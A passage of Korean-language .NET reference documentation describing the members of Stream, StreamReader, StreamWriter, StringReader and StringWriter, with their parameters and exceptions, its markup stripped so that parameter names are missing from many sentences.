삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 에서 사용하는 모든 리소스를 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의되면 이 스트림에 대해 모든 버퍼를 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 합니다. + I/O 오류가 발생하는 경우 + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + 이 스트림에 대해 모든 버퍼를 비동기적으로 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 하고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + 스트림이 삭제된 경우 + + + 파생 클래스에서 재정의되면 스트림 바이트의 길이를 가져옵니다. + 스트림 길이(바이트)를 나타내는 long 값입니다. + Stream에서 파생된 클래스가 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 백업 저장소가 없는 Stream입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림 내의 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + I/O 오류가 발생하는 경우 + 스트림이 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에서 재정의되면 현재 스트림에서 바이트의 시퀀스를 읽고, 읽은 바이트 수만큼 스트림 내에서 앞으로 이동합니다. + 버퍼로 읽어온 총 바이트 수입니다.이 바이트 수는 현재 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 바이트 배열입니다.이 메서드가 반환될 때 버퍼에는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 원본으로부터 읽어온 바이트로 교체된 상태로 포함됩니다. + 현재 스트림에서 읽은 데이터를 저장하기 시작하는 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에서 읽을 최대 바이트 수입니다. + + 와 의 합계가 버퍼 길이보다 큰 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 현재 스트림에서 바이트 시퀀스를 읽고 읽은 바이트 수만큼 스트림에서 위치를 비동기적으로 앞으로 이동합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림에서 바이트를 읽고 스트림 내 위치를 한 바이트씩 앞으로 이동하거나 스트림 끝일 경우 -1을 반환합니다. + Int32로 캐스팅된 부호 없는 바이트이거나 스트림의 끝에 있는 경우 -1입니다. + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 읽기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 읽기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 파생 클래스를 재정의될 때 현재 스트림 내의 위치를 설정합니다. + 현재 스트림 내의 새 위치입니다. + + 매개 변수에 상대적인 바이트 오프셋입니다. + 새 위치를 가져오는 데 사용되는 참조 위치를 나타내는 형식의 값입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우 스트림은 검색을 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에 재정의될 때 현재 스트림의 길이를 설정합니다. + 원하는 현재 스트림의 길이(바이트)입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우처럼 스트림이 쓰기와 검색을 모두 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 파생 클래스를 재정의될 때 현재 스트림에 바이트의 시퀀스를 쓰고 쓰여진 바이트 수만큼 이 스트림 내에서 앞으로 이동합니다. + 바이트 배열입니다.이 메서드는 의 바이트를 현재 스트림으로 복사합니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에 쓸 바이트 수입니다. + 총  및  버퍼 길이 보다 큽니다. + + null입니다. + + 또는  음수입니다. + 지정된 된 파일을 찾을 수 없는 같은 I/O 오류가 발생 합니다. + 스트림이 쓰기를 지원하지 않습니다. + + 스트림이 닫힌 후 호출 되었습니다. + 1 + + + 현재 스트림에 바이트 시퀀스를 비동기적으로 쓰고 쓴 바이트 수만큼 이 스트림에서 현재 위치를 앞으로 이동합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림의 현재 위치에 바이트를 쓰고 스트림 내 위치를 1바이트씩 앞으로 이동합니다. + 스트림에 쓸 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 쓰기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 쓰기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 특정 인코딩의 바이트 스트림에서 문자를 읽는 를 구현합니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 1 + + + 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정한 바이트 순서 표시 검색 옵션을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정된 문자 인코딩을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션을 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + 최소 버퍼 크기입니다. + 스트림이 읽기를 지원하지 않습니다. + + 또는 가 null인 경우 + + 가 0보다 작거나 같은 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 기반으로 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾으려면 true이고, 찾지 않으려면 false입니다. + 최소 버퍼 크기입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + + + 내부 스트림을 반환합니다. + 내부 스트림입니다. + 2 + + + 현재 개체에서 사용 중인 현재 문자 인코딩을 가져옵니다. + 현재 판독기에서 사용하는 문자 인코딩입니다. 메서드를 처음으로 호출할 때 인코딩이 자동으로 검색되므로 의 메서드를 처음으로 호출하면 값이 달라질 수 있습니다. + 2 + + + 내부 버퍼를 지웁니다. + 2 + + + 내부 스트림을 닫고 에서 사용하는 관리되지 않는 리소스를 해제하고 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 스트림 위치가 스트림의 끝에 있는지를 나타내는 값을 가져옵니다. + 현재 스트림 위치가 스트림의 끝에 있으면 true이고, 없으면 false입니다. + 내부 스트림이 삭제된 경우 + 1 + + + 빈 스트림 주위의 개체입니다. + 1 + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 읽을 문자가 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 입력 스트림에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + + 개체로 표시되는 입력 스트림의 다음 문자이거나, 사용할 수 있는 문자가 더 이상 없는 경우에는 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 지정된 최대 문자를 지정된 인덱스부터 버퍼로 읽어 들입니다. + 읽은 문자 수를 반환하거나 스트림의 끝에 있고 읽은 데이터가 없으면 0을 반환합니다.이 수는 스트림 내에서 데이터를 사용할 수 있는지 여부에 따라 매개 변수보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 인덱스입니다. + 읽을 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫히는 등의 I/O 오류가 발생한 경우 + 1 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 입력 스트림의 다음 줄을 반환하거나 입력 스트림의 끝에 도달한 경우 null을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 스트림의 다음 줄을 포함하거나 모든 문자를 읽은 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 스트림 끝까지의 모든 문자를 읽습니다. + 현재 위치부터 끝까지의 나머지 스트림은 문자열입니다.현재 위치가 스트림 끝에 있으면 빈 문자열("")을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 위치부터 스트림 끝까지의 모든 문자를 비동기적으로 읽어서 이를 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 스트림 끝까지 있는 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + + 를 구현하여 특정 인코딩의 스트림에 문자를 씁니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 참조 원본. + 1 + + + UTF-8 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + + 에 쓸 수 없는 경우 + + 가 null인 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + + 또는 가 null인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + true to leave the stream open after the object is disposed; otherwise, false. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + + 가 를 호출할 때마다 해당 버퍼를 내부 스트림에 플러시할지 여부를 나타내는 값을 가져오거나 설정합니다. + + 가 해당 버퍼를 플러시하게 하려면 true이고, 그렇지 않으면 false입니다. + 1 + + + 백업 저장소의 인터페이스 역할을 하는 내부 스트림을 가져옵니다. + 이 StreamWriter가 쓰고 있는 스트림입니다. + 2 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + + + 출력이 쓰여질 을 가져옵니다. + 현재 인스턴스에 대해 생성자에 지정된 이거나, 인코딩이 지정되지 않은 경우 입니다. + 2 + + + 현재 writer의 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 스트림에 쓰여집니다. + 현재 writer가 닫힌 경우 + I/O 오류가 발생한 경우 + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + 1 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + StreamWriter에 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 제공하지 않습니다. + 1 + + + 스트림에 문자를 씁니다. + 스트림에 쓸 문자입니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자의 하위 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자열을 씁니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작할 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 줄 종결자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열에서 읽어오는 를 구현합니다. + 2 + + + 지정된 문자열에서 읽어오는 클래스의 새 인스턴스를 초기화합니다. + + 가 초기화되어야 하는 문자열입니다. + + 매개 변수가 null인 경우 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 내부 문자열의 다음 문자를 반환하거나, 사용할 수 있는 문자가 더 이상 없으면 -1을 반환합니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 문자 블록을 읽은 다음 문자 위치를 씩 앞으로 이동합니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 현재 문자가 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 내부 문자열의 끝에 도달하면 0이 됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 버퍼의 시작 인덱스입니다. + 읽을 문자 수입니다. + + 가 null입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 현재 문자열의 다음 줄 또는 문자열의 끝에 도달한 경우 null입니다. + 현재 판독기가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 2 + + + 현재 문자열에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 문자열 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 문자열 끝까지의 모든 문자를 읽어서 이를 단일 문자열로 반환합니다. + 내부 문자열의 현재 위치에서 끝까지의 내용입니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 위치부터 문자열 끝까지의 모든 문자를 비동기적으로 읽어서 이를 단일 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 문자열 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 정보를 문자열로 쓰기 위한 를 구현합니다.정보는 내부 에 저장됩니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정한 형식 제어를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 형식 지정을 제어하는 개체입니다. + + + 지정한 에 쓰는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + + 가 null입니다. + + + 지정한 에 쓰고 지정한 서식 공급자를 갖는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + 형식 지정을 제어하는 개체입니다. + + 가 null입니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 출력이 쓰여질 을 가져옵니다. 